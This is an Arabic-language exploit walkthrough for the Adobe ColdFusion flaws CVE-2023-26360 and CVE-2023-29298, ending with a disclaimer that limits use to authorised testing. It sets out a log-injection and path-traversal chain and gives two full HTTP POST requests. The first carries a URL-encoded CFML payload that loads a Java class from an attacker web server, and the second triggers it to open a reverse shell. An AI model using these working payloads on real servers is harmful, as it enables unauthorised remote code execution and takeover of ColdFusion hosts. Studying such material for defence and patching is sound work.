
Adobe ColdFusion CVE-2023-26360/CVE-2023-29298 تنفيذ آلي للاتصال العكسي
أداة استغلال CVE-2023-29298/CVE-2023-26360 لرد الاتصال (Reverse Shell)
مبدأ الثغرة هو أن البيانات التي نبنيها في طلبات عميل CFML تُحفظ في coldfusion-out.log على الخادم؛ هذا الدليل يسجّل معلومات أخطاء الطلبات، وملف coldfusion-out.log يحتوي على الكود الذي نكتبه، ثم نستخدم classname لقراءة وتنفيذ ملف السجل هذا لتحقيق تنفيذ الكود.
لدينا هنا فكرة، وهي وضع class خبيث على الخادم، ثم تنزيله وحفظه واستدعاء ملف class هذا. عبر الثغرة أعلاه، سيتم تحميل الفئة ديناميكيًا واستدعاء وتنفيذ ملف class الخاص بنا.
نكتب سكربتًا، وهذا السكربت سيولّد حزمة مضغوطة، وداخل الحزمة:
داخل مجلد code في الحزمة المضغوطة:
utilize
├── address
└── Poc.class
Poc.java يحتوي بشكل أساسي على كود رد الاتصال (reverse shell)، وaddress يخزّن العنوان والمنفذ.
تنفيذ الوظائف المذكورة أعلاه معقّد جدًا جدًا، لذلك كتبت أداة توليد تلقائية، تقوم ببناء ملفات bytecode لجافا، ثم تعيين IP والمنفذ لرد الاتصال، ثم تشغيل خادم ويب.
工具名称 -host 指定反弹IP -port 指定反弹端口 -p 指定http端口(默认8888)

لنلقِ نظرة

ثم نرسل طلبًا لكتابة كود الخطأ في السجل. في جزء بيانات POST بالأسفل، غيّر http://192.168.191.58:8888/GjfZgo إلى عنوان الخدمة التي تعمل عليها.
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 816
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables=%7b%3ccftry%3e%3ccfset%20szlh%20%3d%20createObject%28%27java%27%2c%27java.net.URL%27%29.init%28%27http://192.168.191.58:8888/GjfZgo%27%29/%3e%3ccfset%20cafb%20%3d%20createObject%28%27java%27%2c%27java.lang.reflect.Array%27%29/%3e%3ccfset%20ireh%20%3d%20cafb.newInstance%28szlh.getClass%28%29%2c1%29/%3e%3ccfset%20cafb.set%28ireh%2c0%2cszlh%29/%3e%3ccfset%20fxlt%20%3d%20createObject%28%27java%27%2c%27java.net.URLClassLoader%27%29.init%28ireh%2cjavaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfset%20fxlt.loadClass%28%27code.Payload%27%29.newInstance%28%29.main%28javaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfcatch%20type%3d%27any%27%3e%3c/cfcatch%3e%3ccffinally%3e%3ccffile%20action%3d%27write%27%20file%3d%27%23GetCurrentTemplatePath%28%29%23%27%20output%3d%27%27%3e%3c/cffile%3e%3c/cffinally%3e%3c/cftry%3e
ثم نفّذ الكود الموجود في ملف السجل، وهو ثابت ومكتوب مسبقًا، أرسله مباشرة.
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 85
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables={"_metadata":{"classname":"l/../logs/coldfusion-out.log"},"_variables":[]}
نفّذه ولنلقِ نظرة، تم الاتصال.

\1. أداة الأمان هذه مخصّصة للبحث التقني والتعليم فقط. عند استخدامها، يرجى الالتزام بالقوانين واللوائح والمعايير الأخلاقية المعمول بها.
\2. قد تتضمن هذه الأداة اختبار الثغرات الأمنية واختبار الاختراق، لكن يرجى استخدامها فقط ضمن النطاق المصرح به، وإلا فلا علاقة للمؤلف بالأمر.
\3. قد ينطوي استخدام هذه الأداة على بعض المخاطر وعدم اليقين؛ يجب على المستخدم تحمّل المخاطر الناتجة عن استخدامها بنفسه.
\4. يتحمّل مستخدمو هذه الأداة جميع المخاطر والمسؤوليات بأنفسهم. لا يتحمّل المطوّر أي مسؤولية عن العواقب الناتجة عن استخدام المستخدم لهذه الأداة.